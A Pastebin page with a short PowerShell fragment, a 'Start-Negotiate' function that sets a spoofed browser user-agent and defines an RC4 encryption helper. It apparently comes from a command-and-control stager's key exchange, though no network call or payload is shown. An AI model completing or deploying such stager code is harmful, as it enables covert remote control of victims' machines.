Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Start-Negotiate {
- param($s,$PK,$UB='Mozilla/6.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
- function ConvertTo-RC4ByteStream {
- Param ($RCK, $In)
- begin {
- [Byte[]] $Str = 0..255;
- $J = 0;
- 0..255 | ForEach-Object {
- $J = ($J + $Str[$_] + $RCK[$_ % $RCK.Length]) % 256;
- $Str[$_], $Str[$J] = $Str[$J], $Str[$_];
- };
- $I = $J = 0;
- }
- process {
- ForEach($Byte in $In) {
- $I = ($I + 1) % 256;
- $J = ($J + $Str[$I]) % 256;
- $Str[$I], $Str[$J] = $Str[$J], $Str[$I];
- $Byte -bxor $Str[($Str[$I] + $Str[$J]) % 256];
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement